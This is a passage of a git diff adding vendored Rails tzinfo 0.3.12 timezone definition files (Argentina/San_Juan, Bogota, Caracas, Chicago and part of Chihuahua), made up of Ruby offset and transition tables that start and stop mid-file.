7321499, 3 + tz.transition 1974, 1, :o5, 128142000 + tz.transition 1974, 5, :o4, 136605600 + tz.transition 1988, 12, :o5, 596948400 + tz.transition 1989, 3, :o4, 605066400 + tz.transition 1989, 10, :o5, 624423600 + tz.transition 1990, 3, :o4, 636516000 + tz.transition 1990, 10, :o5, 656478000 + tz.transition 1991, 3, :o4, 667965600 + tz.transition 1991, 10, :o5, 687927600 + tz.transition 1992, 3, :o4, 699415200 + tz.transition 1992, 10, :o5, 719377200 + tz.transition 1993, 3, :o4, 731469600 + tz.transition 1999, 10, :o3, 938919600 + tz.transition 2000, 3, :o4, 952052400 + tz.transition 2007, 12, :o5, 1198983600 + tz.transition 2008, 3, :o4, 1205632800 + tz.transition 2008, 10, :o5, 1224385200 + tz.transition 2009, 3, :o4, 1237082400 + tz.transition 2009, 10, :o5, 1255834800 + tz.transition 2010, 3, :o4, 1269136800 + tz.transition 2010, 10, :o5, 1287284400 + tz.transition 2011, 3, :o4, 1300586400 + tz.transition 2011, 10, :o5, 1318734000 + tz.transition 2012, 3, :o4, 1332036000 + tz.transition 2012, 10, :o5, 1350788400 + tz.transition 2013, 3, :o4, 1363485600 + tz.transition 2013, 10, :o5, 1382238000 + tz.transition 2014, 3, :o4, 1394935200 + tz.transition 2014, 10, :o5, 1413687600 + tz.transition 2015, 3, :o4, 1426384800 + tz.transition 2015, 10, :o5, 1445137200 + tz.transition 2016, 3, :o4, 1458439200 + tz.transition 2016, 10, :o5, 1476586800 + tz.transition 2017, 3, :o4, 1489888800 + tz.transition 2017, 10, :o5, 1508036400 + tz.transition 2018, 3, :o4, 1521338400 + tz.transition 2018, 10, :o5, 1540090800 + tz.transition 2019, 3, :o4, 1552788000 + tz.transition 2019, 10, :o5, 1571540400 + tz.transition 2020, 3, :o4, 1584237600 + tz.transition 2020, 10, :o5, 1602990000 + tz.transition 2021, 3, :o4, 1616292000 + tz.transition 2021, 10, :o5, 1634439600 + tz.transition 2022, 3, :o4, 1647741600 + tz.transition 2022, 10, :o5, 1665889200 + tz.transition 2023, 3, :o4, 1679191200 + tz.transition 2023, 10, :o5, 1697338800 + tz.transition 2024, 3, :o4, 1710640800 + tz.transition 2024, 10, :o5, 1729393200 + tz.transition 2025, 3, :o4, 1742090400 + tz.transition 2025, 10, :o5, 1760842800 + tz.transition 2026, 3, :o4, 1773540000 + tz.transition 2026, 10, :o5, 1792292400 + tz.transition 2027, 3, :o4, 1805594400 + tz.transition 2027, 10, :o5, 1823742000 + tz.transition 2028, 3, :o4, 1837044000 + tz.transition 2028, 10, :o5, 1855191600 + tz.transition 2029, 3, :o4, 1868493600 + tz.transition 2029, 10, :o5, 1887246000 + tz.transition 2030, 3, :o4, 1899943200 + tz.transition 2030, 10, :o5, 1918695600 + tz.transition 2031, 3, :o4, 1931392800 + tz.transition 2031, 10, :o5, 1950145200 + tz.transition 2032, 3, :o4, 1963447200 + tz.transition 2032, 10, :o5, 1981594800 + tz.transition 2033, 3, :o4, 1994896800 + tz.transition 2033, 10, :o5, 2013044400 + tz.transition 2034, 3, :o4, 2026346400 + tz.transition 2034, 10, :o5, 2044494000 + tz.transition 2035, 3, :o4, 2057796000 + tz.transition 2035, 10, :o5, 2076548400 + tz.transition 2036, 3, :o4, 2089245600 + tz.transition 2036, 10, :o5, 2107998000 + tz.transition 2037, 3, :o4, 2120695200 + tz.transition 2037, 10, :o5, 2139447600 + tz.transition 2038, 3, :o4, 29586043, 12 + tz.transition 2038, 10, :o5, 19725709, 8 + tz.transition 2039, 3, :o4, 29590411, 12 + tz.transition 2039, 10, :o5, 19728621, 8 + tz.transition 2040, 3, :o4, 29594779, 12 + tz.transition 2040, 10, :o5, 19731589, 8 + tz.transition 2041, 3, :o4, 29599147, 12 + tz.transition 2041, 10, :o5, 19734501, 8 + tz.transition 2042, 3, :o4, 29603515, 12 + tz.transition 2042, 10, :o5, 19737413, 8 + tz.transition 2043, 3, :o4, 29607883, 12 + tz.transition 2043, 10, :o5, 19740325, 8 + tz.transition 2044, 3, :o4, 29612335, 12 + tz.transition 2044, 10, :o5, 19743237, 8 + tz.transition 2045, 3, :o4, 29616703, 12 + tz.transition 2045, 10, :o5, 19746149, 8 + tz.transition 2046, 3, :o4, 29621071, 12 + tz.transition 2046, 10, :o5, 19749117, 8 + tz.transition 2047, 3, :o4, 29625439, 12 + tz.transition 2047, 10, :o5, 19752029, 8 + tz.transition 2048, 3, :o4, 29629807, 12 + tz.transition 2048, 10, :o5, 19754941, 8 + tz.transition 2049, 3, :o4, 29634259, 12 + tz.transition 2049, 10, :o5, 19757853, 8 + tz.transition 2050, 3, :o4, 29638627, 12 + end + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Argentina/San_Juan.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Argentina/San_Juan.rb new file mode 100644 index 00000000..ba8be470 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Argentina/San_Juan.rb @@ -0,0 +1,86 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module America + module Argentina + module San_Juan + include TimezoneDefinition + + timezone 'America/Argentina/San_Juan' do |tz| + tz.offset :o0, -16444, 0, :LMT + tz.offset :o1, -15408, 0, :CMT + tz.offset :o2, -14400, 0, :ART + tz.offset :o3, -14400, 3600, :ARST + tz.offset :o4, -10800, 0, :ART + tz.offset :o5, -10800, 3600, :ARST + tz.offset :o6, -14400, 0, :WART + + tz.transition 1894, 10, :o1, 52123666111, 21600 + tz.transition 1920, 5, :o2, 1453467407, 600 + tz.transition 1930, 12, :o3, 7278935, 3 + tz.transition 1931, 4, :o2, 19411461, 8 + tz.transition 1931, 10, :o3, 7279889, 3 + tz.transition 1932, 3, :o2, 19414141, 8 + tz.transition 1932, 11, :o3, 7281038, 3 + tz.transition 1933, 3, :o2, 19417061, 8 + tz.transition 1933, 11, :o3, 7282133, 3 + tz.transition 1934, 3, :o2, 19419981, 8 + tz.transition 1934, 11, :o3, 7283228, 3 + tz.transition 1935, 3, :o2, 19422901, 8 + tz.transition 1935, 11, :o3, 7284323, 3 + tz.transition 1936, 3, :o2, 19425829, 8 + tz.transition 1936, 11, :o3, 7285421, 3 + tz.transition 1937, 3, :o2, 19428749, 8 + tz.transition 1937, 11, :o3, 7286516, 3 + tz.transition 1938, 3, :o2, 19431669, 8 + tz.transition 1938, 11, :o3, 7287611, 3 + tz.transition 1939, 3, :o2, 19434589, 8 + tz.transition 1939, 11, :o3, 7288706, 3 + tz.transition 1940, 3, :o2, 19437517, 8 + tz.transition 1940, 7, :o3, 7289435, 3 + tz.transition 1941, 6, :o2, 19441285, 8 + tz.transition 1941, 10, :o3, 7290848, 3 + tz.transition 1943, 8, :o2, 19447501, 8 + tz.transition 1943, 10, :o3, 7293038, 3 + tz.transition 1946, 3, :o2, 19455045, 8 + tz.transition 1946, 10, :o3, 7296284, 3 + tz.transition 1963, 10, :o2, 19506429, 8 + tz.transition 1963, 12, :o3, 7315136, 3 + tz.transition 1964, 3, :o2, 19507645, 8 + tz.transition 1964, 10, :o3, 7316051, 3 + tz.transition 1965, 3, :o2, 19510565, 8 + tz.transition 1965, 10, :o3, 7317146, 3 + tz.transition 1966, 3, :o2, 19513485, 8 + tz.transition 1966, 10, :o3, 7318241, 3 + tz.transition 1967, 4, :o2, 19516661, 8 + tz.transition 1967, 10, :o3, 7319294, 3 + tz.transition 1968, 4, :o2, 19519629, 8 + tz.transition 1968, 10, :o3, 7320407, 3 + tz.transition 1969, 4, :o2, 19522541, 8 + tz.transition 1969, 10, :o4, 7321499, 3 + tz.transition 1974, 1, :o5, 128142000 + tz.transition 1974, 5, :o4, 136605600 + tz.transition 1988, 12, :o5, 596948400 + tz.transition 1989, 3, :o4, 605066400 + tz.transition 1989, 10, :o5, 624423600 + tz.transition 1990, 3, :o4, 636516000 + tz.transition 1990, 10, :o5, 656478000 + tz.transition 1991, 3, :o6, 667792800 + tz.transition 1991, 5, :o4, 673588800 + tz.transition 1991, 10, :o5, 687927600 + tz.transition 1992, 3, :o4, 699415200 + tz.transition 1992, 10, :o5, 719377200 + tz.transition 1993, 3, :o4, 731469600 + tz.transition 1999, 10, :o3, 938919600 + tz.transition 2000, 3, :o4, 952052400 + tz.transition 2004, 5, :o6, 1085972400 + tz.transition 2004, 7, :o4, 1090728000 + tz.transition 2007, 12, :o5, 1198983600 + tz.transition 2008, 3, :o4, 1205632800 + end + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Bogota.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Bogota.rb new file mode 100644 index 00000000..ef96435c --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Bogota.rb @@ -0,0 +1,23 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module America + module Bogota + include TimezoneDefinition + + timezone 'America/Bogota' do |tz| + tz.offset :o0, -17780, 0, :LMT + tz.offset :o1, -17780, 0, :BMT + tz.offset :o2, -18000, 0, :COT + tz.offset :o3, -18000, 3600, :COST + + tz.transition 1884, 3, :o1, 10407954409, 4320 + tz.transition 1914, 11, :o2, 10456385929, 4320 + tz.transition 1992, 5, :o3, 704869200 + tz.transition 1993, 4, :o2, 733896000 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Caracas.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Caracas.rb new file mode 100644 index 00000000..27392a54 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Caracas.rb @@ -0,0 +1,23 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module America + module Caracas + include TimezoneDefinition + + timezone 'America/Caracas' do |tz| + tz.offset :o0, -16064, 0, :LMT + tz.offset :o1, -16060, 0, :CMT + tz.offset :o2, -16200, 0, :VET + tz.offset :o3, -14400, 0, :VET + + tz.transition 1890, 1, :o1, 1627673863, 675 + tz.transition 1912, 2, :o2, 10452001043, 4320 + tz.transition 1965, 1, :o3, 39020187, 16 + tz.transition 2007, 12, :o2, 1197183600 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Chicago.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Chicago.rb new file mode 100644 index 00000000..0996857c --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Chicago.rb @@ -0,0 +1,283 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module America + module Chicago + include TimezoneDefinition + + timezone 'America/Chicago' do |tz| + tz.offset :o0, -21036, 0, :LMT + tz.offset :o1, -21600, 0, :CST + tz.offset :o2, -21600, 3600, :CDT + tz.offset :o3, -18000, 0, :EST + tz.offset :o4, -21600, 3600, :CWT + tz.offset :o5, -21600, 3600, :CPT + + tz.transition 1883, 11, :o1, 9636533, 4 + tz.transition 1918, 3, :o2, 14530103, 6 + tz.transition 1918, 10, :o1, 58125451, 24 + tz.transition 1919, 3, :o2, 14532287, 6 + tz.transition 1919, 10, :o1, 58134187, 24 + tz.transition 1920, 6, :o2, 14534933, 6 + tz.transition 1920, 10, :o1, 58143091, 24 + tz.transition 1921, 3, :o2, 14536655, 6 + tz.transition 1921, 10, :o1, 58151827, 24 + tz.transition 1922, 4, :o2, 14539049, 6 + tz.transition 1922, 9, :o1, 58159723, 24 + tz.transition 1923, 4, :o2, 14541233, 6 + tz.transition 1923, 9, :o1, 58168627, 24 + tz.transition 1924, 4, :o2, 14543417, 6 + tz.transition 1924, 9, :o1, 58177363, 24 + tz.transition 1925, 4, :o2, 14545601, 6 + tz.transition 1925, 9, :o1, 58186099, 24 + tz.transition 1926, 4, :o2, 14547785, 6 + tz.transition 1926, 9, :o1, 58194835, 24 + tz.transition 1927, 4, :o2, 14549969, 6 + tz.transition 1927, 9, :o1, 58203571, 24 + tz.transition 1928, 4, :o2, 14552195, 6 + tz.transition 1928, 9, :o1, 58212475, 24 + tz.transition 1929, 4, :o2, 14554379, 6 + tz.transition 1929, 9, :o1, 58221211, 24 + tz.transition 1930, 4, :o2, 14556563, 6 + tz.transition 1930, 9, :o1, 58229947, 24 + tz.transition 1931, 4, :o2, 14558747, 6 + tz.transition 1931, 9, :o1, 58238683, 24 + tz.transition 1932, 4, :o2, 14560931, 6 + tz.transition 1932, 9, :o1, 58247419, 24 + tz.transition 1933, 4, :o2, 14563157, 6 + tz.transition 1933, 9, :o1, 58256155, 24 + tz.transition 1934, 4, :o2, 14565341, 6 + tz.transition 1934, 9, :o1, 58265059, 24 + tz.transition 1935, 4, :o2, 14567525, 6 + tz.transition 1935, 9, :o1, 58273795, 24 + tz.transition 1936, 3, :o3, 14569373, 6 + tz.transition 1936, 11, :o1, 58283707, 24 + tz.transition 1937, 4, :o2, 14571893, 6 + tz.transition 1937, 9, :o1, 58291267, 24 + tz.transition 1938, 4, :o2, 14574077, 6 + tz.transition 1938, 9, :o1, 58300003, 24 + tz.transition 1939, 4, :o2, 14576303, 6 + tz.transition 1939, 9, :o1, 58308739, 24 + tz.transition 1940, 4, :o2, 14578487, 6 + tz.transition 1940, 9, :o1, 58317643, 24 + tz.transition 1941, 4, :o2, 14580671, 6 + tz.transition 1941, 9, :o1, 58326379, 24 + tz.transition 1942, 2, :o4, 14582399, 6 + tz.transition 1945, 8, :o5, 58360379, 24 + tz.transition 1945, 9, :o1, 58361491, 24 + tz.transition 1946, 4, :o2, 14591633, 6 + tz.transition 1946, 9, :o1, 58370227, 24 + tz.transition 1947, 4, :o2, 14593817, 6 + tz.transition 1947, 9, :o1, 58378963, 24 + tz.transition 1948, 4, :o2, 14596001, 6 + tz.transition 1948, 9, :o1, 58387699, 24 + tz.transition 1949, 4, :o2, 14598185, 6 + tz.transition 1949, 9, :o1, 58396435, 24 + tz.transition 1950, 4, :o2, 14600411, 6 + tz.transition 1950, 9, :o1, 58405171, 24 + tz.transition 1951, 4, :o2, 14602595, 6 + tz.transition 1951, 9, :o1, 58414075, 24 + tz.transition 1952, 4, :o2, 14604779, 6 + tz.transition 1952, 9, :o1, 58422811, 24 + tz.transition 1953, 4, :o2, 14606963, 6 + tz.transition 1953, 9, :o1, 58431547, 24 + tz.transition 1954, 4, :o2, 14609147, 6 + tz.transition 1954, 9, :o1, 58440283, 24 + tz.transition 1955, 4, :o2, 14611331, 6 + tz.transition 1955, 10, :o1, 58449859, 24 + tz.transition 1956, 4, :o2, 14613557, 6 + tz.transition 1956, 10, :o1, 58458595, 24 + tz.transition 1957, 4, :o2, 14615741, 6 + tz.transition 1957, 10, :o1, 58467331, 24 + tz.transition 1958, 4, :o2, 14617925, 6 + tz.transition 1958, 10, :o1, 58476067, 24 + tz.transition 1959, 4, :o2, 14620109, 6 + tz.transition 1959, 10, :o1, 58484803, 24 + tz.transition 1960, 4, :o2, 14622293, 6 + tz.transition 1960, 10, :o1, 58493707, 24 + tz.transition 1961, 4, :o2, 14624519, 6 + tz.transition 1961, 10, :o1, 58502443, 24 + tz.transition 1962, 4, :o2, 14626703, 6 + tz.transition 1962, 10, :o1, 58511179, 24 + tz.transition 1963, 4, :o2, 14628887, 6 + tz.transition 1963, 10, :o1, 58519915, 24 + tz.transition 1964, 4, :o2, 14631071, 6 + tz.transition 1964, 10, :o1, 58528651, 24 + tz.transition 1965, 4, :o2, 14633255, 6 + tz.transition 1965, 10, :o1, 58537555, 24 + tz.transition 1966, 4, :o2, 14635439, 6 + tz.transition 1966, 10, :o1, 58546291, 24 + tz.transition 1967, 4, :o2, 14637665, 6 + tz.transition 1967, 10, :o1, 58555027, 24 + tz.transition 1968, 4, :o2, 14639849, 6 + tz.transition 1968, 10, :o1, 58563763, 24 + tz.transition 1969, 4, :o2, 14642033, 6 + tz.transition 1969, 10, :o1, 58572499, 24 + tz.transition 1970, 4, :o2, 9964800 + tz.transition 1970, 10, :o1, 25686000 + tz.transition 1971, 4, :o2, 41414400 + tz.transition 1971, 10, :o1, 57740400 + tz.transition 1972, 4, :o2, 73468800 + tz.transition 1972, 10, :o1, 89190000 + tz.transition 1973, 4, :o2, 104918400 + tz.transition 1973, 10, :o1, 120639600 + tz.transition 1974, 1, :o2, 126691200 + tz.transition 1974, 10, :o1, 152089200 + tz.transition 1975, 2, :o2, 162374400 + tz.transition 1975, 10, :o1, 183538800 + tz.transition 1976, 4, :o2, 199267200 + tz.transition 1976, 10, :o1, 215593200 + tz.transition 1977, 4, :o2, 230716800 + tz.transition 1977, 10, :o1, 247042800 + tz.transition 1978, 4, :o2, 262771200 + tz.transition 1978, 10, :o1, 278492400 + tz.transition 1979, 4, :o2, 294220800 + tz.transition 1979, 10, :o1, 309942000 + tz.transition 1980, 4, :o2, 325670400 + tz.transition 1980, 10, :o1, 341391600 + tz.transition 1981, 4, :o2, 357120000 + tz.transition 1981, 10, :o1, 372841200 + tz.transition 1982, 4, :o2, 388569600 + tz.transition 1982, 10, :o1, 404895600 + tz.transition 1983, 4, :o2, 420019200 + tz.transition 1983, 10, :o1, 436345200 + tz.transition 1984, 4, :o2, 452073600 + tz.transition 1984, 10, :o1, 467794800 + tz.transition 1985, 4, :o2, 483523200 + tz.transition 1985, 10, :o1, 499244400 + tz.transition 1986, 4, :o2, 514972800 + tz.transition 1986, 10, :o1, 530694000 + tz.transition 1987, 4, :o2, 544608000 + tz.transition 1987, 10, :o1, 562143600 + tz.transition 1988, 4, :o2, 576057600 + tz.transition 1988, 10, :o1, 594198000 + tz.transition 1989, 4, :o2, 607507200 + tz.transition 1989, 10, :o1, 625647600 + tz.transition 1990, 4, :o2, 638956800 + tz.transition 1990, 10, :o1, 657097200 + tz.transition 1991, 4, :o2, 671011200 + tz.transition 1991, 10, :o1, 688546800 + tz.transition 1992, 4, :o2, 702460800 + tz.transition 1992, 10, :o1, 719996400 + tz.transition 1993, 4, :o2, 733910400 + tz.transition 1993, 10, :o1, 752050800 + tz.transition 1994, 4, :o2, 765360000 + tz.transition 1994, 10, :o1, 783500400 + tz.transition 1995, 4, :o2, 796809600 + tz.transition 1995, 10, :o1, 814950000 + tz.transition 1996, 4, :o2, 828864000 + tz.transition 1996, 10, :o1, 846399600 + tz.transition 1997, 4, :o2, 860313600 + tz.transition 1997, 10, :o1, 877849200 + tz.transition 1998, 4, :o2, 891763200 + tz.transition 1998, 10, :o1, 909298800 + tz.transition 1999, 4, :o2, 923212800 + tz.transition 1999, 10, :o1, 941353200 + tz.transition 2000, 4, :o2, 954662400 + tz.transition 2000, 10, :o1, 972802800 + tz.transition 2001, 4, :o2, 986112000 + tz.transition 2001, 10, :o1, 1004252400 + tz.transition 2002, 4, :o2, 1018166400 + tz.transition 2002, 10, :o1, 1035702000 + tz.transition 2003, 4, :o2, 1049616000 + tz.transition 2003, 10, :o1, 1067151600 + tz.transition 2004, 4, :o2, 1081065600 + tz.transition 2004, 10, :o1, 1099206000 + tz.transition 2005, 4, :o2, 1112515200 + tz.transition 2005, 10, :o1, 1130655600 + tz.transition 2006, 4, :o2, 1143964800 + tz.transition 2006, 10, :o1, 1162105200 + tz.transition 2007, 3, :o2, 1173600000 + tz.transition 2007, 11, :o1, 1194159600 + tz.transition 2008, 3, :o2, 1205049600 + tz.transition 2008, 11, :o1, 1225609200 + tz.transition 2009, 3, :o2, 1236499200 + tz.transition 2009, 11, :o1, 1257058800 + tz.transition 2010, 3, :o2, 1268553600 + tz.transition 2010, 11, :o1, 1289113200 + tz.transition 2011, 3, :o2, 1300003200 + tz.transition 2011, 11, :o1, 1320562800 + tz.transition 2012, 3, :o2, 1331452800 + tz.transition 2012, 11, :o1, 1352012400 + tz.transition 2013, 3, :o2, 1362902400 + tz.transition 2013, 11, :o1, 1383462000 + tz.transition 2014, 3, :o2, 1394352000 + tz.transition 2014, 11, :o1, 1414911600 + tz.transition 2015, 3, :o2, 1425801600 + tz.transition 2015, 11, :o1, 1446361200 + tz.transition 2016, 3, :o2, 1457856000 + tz.transition 2016, 11, :o1, 1478415600 + tz.transition 2017, 3, :o2, 1489305600 + tz.transition 2017, 11, :o1, 1509865200 + tz.transition 2018, 3, :o2, 1520755200 + tz.transition 2018, 11, :o1, 1541314800 + tz.transition 2019, 3, :o2, 1552204800 + tz.transition 2019, 11, :o1, 1572764400 + tz.transition 2020, 3, :o2, 1583654400 + tz.transition 2020, 11, :o1, 1604214000 + tz.transition 2021, 3, :o2, 1615708800 + tz.transition 2021, 11, :o1, 1636268400 + tz.transition 2022, 3, :o2, 1647158400 + tz.transition 2022, 11, :o1, 1667718000 + tz.transition 2023, 3, :o2, 1678608000 + tz.transition 2023, 11, :o1, 1699167600 + tz.transition 2024, 3, :o2, 1710057600 + tz.transition 2024, 11, :o1, 1730617200 + tz.transition 2025, 3, :o2, 1741507200 + tz.transition 2025, 11, :o1, 1762066800 + tz.transition 2026, 3, :o2, 1772956800 + tz.transition 2026, 11, :o1, 1793516400 + tz.transition 2027, 3, :o2, 1805011200 + tz.transition 2027, 11, :o1, 1825570800 + tz.transition 2028, 3, :o2, 1836460800 + tz.transition 2028, 11, :o1, 1857020400 + tz.transition 2029, 3, :o2, 1867910400 + tz.transition 2029, 11, :o1, 1888470000 + tz.transition 2030, 3, :o2, 1899360000 + tz.transition 2030, 11, :o1, 1919919600 + tz.transition 2031, 3, :o2, 1930809600 + tz.transition 2031, 11, :o1, 1951369200 + tz.transition 2032, 3, :o2, 1962864000 + tz.transition 2032, 11, :o1, 1983423600 + tz.transition 2033, 3, :o2, 1994313600 + tz.transition 2033, 11, :o1, 2014873200 + tz.transition 2034, 3, :o2, 2025763200 + tz.transition 2034, 11, :o1, 2046322800 + tz.transition 2035, 3, :o2, 2057212800 + tz.transition 2035, 11, :o1, 2077772400 + tz.transition 2036, 3, :o2, 2088662400 + tz.transition 2036, 11, :o1, 2109222000 + tz.transition 2037, 3, :o2, 2120112000 + tz.transition 2037, 11, :o1, 2140671600 + tz.transition 2038, 3, :o2, 14792981, 6 + tz.transition 2038, 11, :o1, 59177635, 24 + tz.transition 2039, 3, :o2, 14795165, 6 + tz.transition 2039, 11, :o1, 59186371, 24 + tz.transition 2040, 3, :o2, 14797349, 6 + tz.transition 2040, 11, :o1, 59195107, 24 + tz.transition 2041, 3, :o2, 14799533, 6 + tz.transition 2041, 11, :o1, 59203843, 24 + tz.transition 2042, 3, :o2, 14801717, 6 + tz.transition 2042, 11, :o1, 59212579, 24 + tz.transition 2043, 3, :o2, 14803901, 6 + tz.transition 2043, 11, :o1, 59221315, 24 + tz.transition 2044, 3, :o2, 14806127, 6 + tz.transition 2044, 11, :o1, 59230219, 24 + tz.transition 2045, 3, :o2, 14808311, 6 + tz.transition 2045, 11, :o1, 59238955, 24 + tz.transition 2046, 3, :o2, 14810495, 6 + tz.transition 2046, 11, :o1, 59247691, 24 + tz.transition 2047, 3, :o2, 14812679, 6 + tz.transition 2047, 11, :o1, 59256427, 24 + tz.transition 2048, 3, :o2, 14814863, 6 + tz.transition 2048, 11, :o1, 59265163, 24 + tz.transition 2049, 3, :o2, 14817089, 6 + tz.transition 2049, 11, :o1, 59274067, 24 + tz.transition 2050, 3, :o2, 14819273, 6 + tz.transition 2050, 11, :o1, 59282803, 24 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Chihuahua.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Chihuahua.rb new file mode 100644 index 00000000..1710b57c --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Chihuahua.rb @@ -0,0 +1,136 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module America + module Chihuahua + include TimezoneDefinition + + timezone 'America/Chihuahua' do |tz| + tz.offset :o0, -25460, 0, :LMT + tz.offset :o1, -25200, 0, :MST + tz.offset :o2, -21600, 0, :CST + tz.offset :o3, -21600, 3600, :CDT + tz.offset :o4, -25200, 3600, :MDT + + tz.transition 1922, 1, :o1, 58153339, 24 + tz.transition 1927, 6, :o2, 9700171, 4 + tz.transition 1930, 11, :o1, 9705183, 4 + tz.transition 1931, 5, :o2, 9705855, 4 + tz.transition 1931, 10, :o1, 9706463, 4 + tz.transition 1932, 4, :o2, 58243171, 24 + tz.transition 1996, 4, :o3, 828864000 + tz.transition 1996, 10, :o2, 846399600 + tz.transition 1997, 4, :o3, 860313600 + tz.transition 1997, 10, :o2, 877849200 + tz.transition 1998, 4, :o4, 891766800 + tz.transition 1998, 10, :o1, 909302400 + tz.transition 1999, 4, :o4, 923216400 + tz.transition 1999, 10, :o1, 941356800 + tz.transition 2000, 4, :o4, 954666000 + tz.transition 2000, 10, :o1, 972806400 + tz.transition 2001, 5, :o4, 989139600 + tz.transition 2001, 9, :o1, 1001836800 + tz.transition 2002, 4, :o4, 1018170000 + tz.transition 2002, 10, :o1, 1035705600 + tz.transition 2003, 4, :o4, 1049619600 + tz.transition 2003, 10, :o1, 1067155200 + tz.transition 2004, 4, :o4, 1081069200 + tz.transition 2004, 10, :o1, 1099209600 + tz.transition 2005, 4, :o4, 1112518800 + tz.transition 2005, 10, :o1, 1130659200 + tz.transition 2006, 4, :o4, 1143968400 + tz.transition 2006, 10, :o1, 1162108800 + tz.transition 2007, 4, :o4, 1175418000 + tz.transition 2007, 10, :o1, 1193558400 + tz.transition 2008, 4, :o4, 1207472400 + tz.transition 2008, 10, :o1, 1225008000 + tz.transition 2009, 4, :o4, 1238922000 + tz.transition 2009, 10, :o1, 1256457600 + tz.transition 2010, 4, :o4, 1270371600 + tz.transition 2010, 10, :o1, 1288512000 + tz.transition 2011, 4, :o4, 1301821200 + tz.transition 2011, 10, :o1, 1319961600 + tz.transition 2012, 4, :o4, 1333270800 + tz.transition 2012, 10, :o1, 1351411200 + tz.transition 2013, 4, :o4, 1365325200 + tz.transition 2013, 10, :o1, 1382860800 + tz.transition 2014, 4, :o4, 1396774800 + tz.transition 2014, 10, :o1, 1414310400 + tz.transition 2015, 4, :o4, 1428224400 + tz.transition 2015, 10, :o1, 1445760000 + tz.transition 2016, 4, :o4, 1459674000 + tz.transition 2016, 10, :o1, 1477814400 + tz.transition 2017, 4, :o4, 1491123600 + tz.transition 2017, 10, :o1, 1509264000 + tz.transition 2018, 4, :o4, 1522573200 + tz.transition 2018, 10, :o1, 1540713600 + tz.transition 2019, 4, :o4, 1554627600 + tz.transition 2019, 10, :o1, 1572163200 + tz.transition 2020, 4, :o4, 1586077200 + tz.transition 2020, 10, :o1, 1603612800 + tz.transition 2021, 4, :o4, 1617526800 + tz.transition 2021, 10, :o1, 1635667200 + tz.transition 2022, 4, :o4, 1648976400 + tz.transition 2022, 10, :o1, 1667116800 + tz.transition 2023, 4, :o4, 1680426000 + tz.transition 2023, 10, :o1, 1698566400 + tz.transition 2024, 4, :o4, 1712480400 + tz.transition 2024, 10, :o1, 1730016000 + tz.transition 2025, 4, :o4, 1743930000 + tz.transition 2025, 10, :o1, 1761465600 + tz.transition 2026, 4, :o4, 1775379600 + tz.transition 2026, 10, :o1, 1792915200 + tz.transition 2027, 4, :o4, 1806829200 + tz.transition 2027, 10, :o1, 1824969600 + tz.transition 2028, 4, :o4, 1838278800 + tz.transition 2028, 10, :o1, 1856419200 + tz.transition 2029, 4, :o4, 1869728400 + tz.transition 2029, 10, :o1, 1887868800 + tz.transition 2030, 4, :o4, 1901782800 + tz.transition 2030, 10, :o1, 1919318400 + tz.transition 2031, 4, :o4, 1933232400 + tz.transition 2031, 10, :o1, 1950768000 + tz.transition 2032, 4, :o4, 1964682000 + tz.transition 2032, 10, :o1, 1982822400 + tz.transition 2033, 4, :o4, 1996131600 + tz.transition 2033, 10, :o1, 2014272000 + tz.transition 2034, 4, :o4, 2027581200 + tz.transition 2034, 10, :o1, 2045721600 + tz.transition 2035, 4, :o4, 2059030800 + tz.transition 2035, 10, :o1, 2077171200 + tz.transition 2036, 4, :o4, 2091085200 + tz.transition 2036, 10, :o1, 2108620800 + tz.transition 2037, 4, :o4, 2122534800 + tz.transition 2037, 10, :o1, 2140070400 + tz.transition 2038, 4, :o4, 19724143, 8 + tz.transition 2038, 10, :o1, 14794367, 6 + tz.transition 2039, 4, :o4, 19727055, 8 + tz.transition 2039, 10, :o1, 14796551, 6 + tz.transition 2040, 4, :o4, 19729967, 8 + tz.transition 2040, 10, :o1, 14798735, 6 + tz.transition 2041, 4, :o4, 19732935, 8 + tz.transition 2041, 10, :o1, 14800919, 6 + tz.transition 2042, 4, :o4, 19735847, 8 + tz.transition 2042, 10, :o1, 14803103, 6 + tz.transition 2043, 4, :o4, 19738759, 8 + tz.transition 2043, 10, :o1, 14805287, 6 + tz.transition 2044, 4, :o4, 19741671, 8 + tz.transition 2044, 10, :o1, 14807513, 6 + tz.transition 2045, 4, :o4, 19744583, 8 + tz.transition 2045, 10, :o1, 14809697, 6 + tz.transition 2046, 4, :o4, 19747495, 8 + tz.transition 2046, 10, :o1, 14811881, 6 + tz.transition 2047, 4, :o4, 19750463, 8 + tz.transition 2047, 10, :o1, 14814065, 6 + tz.transition 2048, 4, :o4, 19753375, 8 + tz.transition 2048, 10, :o1, 14816249, 6 + tz.transition 2049, 4, :o4, 19756287, 8 + tz.transition 2049, 10, :o1, 